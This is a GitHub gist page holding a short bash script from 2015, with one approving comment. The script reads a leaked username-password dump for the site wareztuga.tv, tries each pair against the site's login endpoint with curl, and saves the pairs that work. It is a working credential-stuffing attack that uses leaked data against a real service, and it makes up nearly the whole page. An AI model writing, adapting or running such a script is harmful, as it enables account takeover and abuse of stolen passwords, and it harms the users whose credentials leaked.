Skip to content

Instantly share code, notes, and snippets.

@zezadas
Created May 6, 2015 01:00
Show Gist options
  • Save zezadas/b8ab53ca9d0dfce6ba1d to your computer and use it in GitHub Desktop.
Save zezadas/b8ab53ca9d0dfce6ba1d to your computer and use it in GitHub Desktop.
#!/bin/bash
#credits to zezdadas and megaleak
#dont expect much this took me 5 minutes to write...
while read line
do
name=$line
um=$(echo "$line" | cut -d '-' -f 1 | tr -d '[[:space:]]')
dois=$(echo "$line" | cut -d '-' -f 2 | tr -d '[[:space:]]')
#if [[ "$um" =~ "$dois" ]]
#then
# user==password
# echo "$um"
#fi
while true
echo "testing $um com $dois"
valor=`curl -s "http://www.wareztuga.tv/login.ajax.php?username=$um&password=$dois"`
do
if [[ $valor =~ ^-?[0-9]+$ ]]
then
break
fi
done
echo "confirma $um-$dois ret $valor"
if [ "$valor" -eq "0" ]
then
echo "YEAH $um-$dois"
echo "$um-$dois" >> sucesszadas
fi
done < ./megaleak_-_www.wareztuga.tv.txt
@Jpfonseca
Copy link

Very Good code indeed ;)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment